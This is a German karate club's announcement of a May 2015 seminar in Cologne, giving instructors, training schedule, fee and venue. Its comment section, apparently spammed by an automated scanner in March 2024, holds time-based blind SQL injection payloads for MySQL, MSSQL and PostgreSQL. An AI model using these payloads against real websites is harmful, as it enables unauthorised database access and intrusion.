Lehrgang · 17. März 2015

9. Mai 2015 – Lehrgang mit Rainer Katteluhn, Ludwig Binder und Christian Wedewardt

18 Dan Grade!

7. Dan Rainer Katteluhn,

6. Dan Ludwig Binder,

5. Dan Christian Wedewardt

4 Trainingseinheiten!!!!

Am Samstag, 09. Mai 2015 haben wir drei Trainer der Extraklasse mit folgenden Themen bei uns zu Gast:

Shotokan mit Rainer Katteluhn: Kombinationen im Kihon und Kumite – „Die solide Grundlage“

Ten-Kyo-Ryo mit Ludwig Binder: Selbstverteidigungs-Karate auf Basis von Kombinationen – „SV-Kompetenz“

Karatepraxis mit Christian Wedewardt: Shotokan-Effektiv-Bunkai & Drills aus diversen Kata – „Das uralte Know-How aus Kata“

Trainingsplan:

	Halle 1	Halle 2	Halle 3
	Shotokan mit Rainer:	Ten-Kyo-Ryo mit Ludwig:	Karatepraxis mit Christian:
Inhalte:	Kombinationen im Kihon und Kumite – „Die solide Grundlage“	Selbstverteidigungs-Karate auf Basis von Kombinationen – „SV-Kompetenz“	Shotokan-Effektiv-Bunkai & Drills aus diversen Kata – „Das uralte Know-How aus Kata“
9:30 – 11:00 Uhr	9.-7. Kyu	6.-4. Kyu	Ab 3.Kyu
11:30 – 13:00 Uhr	Ab 3.Kyu	9.-7. Kyu	6.-4. Kyu
13:30 – 15:00 Uhr	6.-4. Kyu	Ab 3.Kyu	9.-7. Kyu
15:15 – 16:30 Uhr	Alle zusammen: 3 Trainer, 3 Gruppen
17:00 Uhr	Kyu-Prüfungen Shotokan/SOK

Ausrichter:

1. Kölner Karate Club Bushido 1961 e.V.

Haftung: Der Veranstalter lehnt jegliche Haftung ab. Ferner weisen wir darauf hin, dass während des Lehrgangs Fotos und Video-Aufnahmen gemacht werden.

Schutzausrüstung, falls vorhanden, bitte mitbringen.

Keine Pflicht!

Info: Ralf Vogt, Tel. 02236/380617, E-Mail: ralf.vogt@bushido-koeln.de

Gebühr:

25,- €

Ort:

Turnhalle Heinrich-Heine-Gymnasium

Hardtgenbuscher Kirchweg 100

51107 Köln

Parkplätze und Zugang zur Halle hinter der Feuerwehr

Bus 151, 152, 191 Haltestelle: Köln, Ostheim Saarbrücker Str.

Alle Infos zum Download:

Flyer_Lehrgang_KBW.pdf

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Tags: Lehrgang, 2015

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Kommentare: 48

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KfnqDuxw (Samstag, 23 März 2024 06:31)

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1*if(now()=sysdate(),sleep(15),0)
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10'XOR(1*if(now()=sysdate(),sleep(15),0))XOR'Z
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10"XOR(1*if(now()=sysdate(),sleep(15),0))XOR"Z
#39
KfnqDuxw (Samstag, 23 März 2024 07:52)

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
#40
KfnqDuxw (Samstag, 23 März 2024 07:53)

1-1; waitfor delay '0:0:15' --
#41
KfnqDuxw (Samstag, 23 März 2024 07:55)

1-1); waitfor delay '0:0:15' --
#42
KfnqDuxw (Samstag, 23 März 2024 07:57)

1-1 waitfor delay '0:0:15' --
#43
KfnqDuxw (Samstag, 23 März 2024 07:58)

19I1TnIsn'; waitfor delay '0:0:15' --
#44
KfnqDuxw (Samstag, 23 März 2024 08:00)

1-1 OR 291=(SELECT 291 FROM PG_SLEEP(15))--
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KfnqDuxw (Samstag, 23 März 2024 08:01)

1-1) OR 787=(SELECT 787 FROM PG_SLEEP(15))--
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KfnqDuxw (Samstag, 23 März 2024 08:03)

1-1)) OR 376=(SELECT 376 FROM PG_SLEEP(15))--
#47
KfnqDuxw (Samstag, 23 März 2024 08:05)

1Z7s8pOYU' OR 870=(SELECT 870 FROM PG_SLEEP(15))--
#48
KfnqDuxw (Samstag, 23 März 2024 08:08)

1Jvgr5y9L') OR 675=(SELECT 675 FROM PG_SLEEP(15))--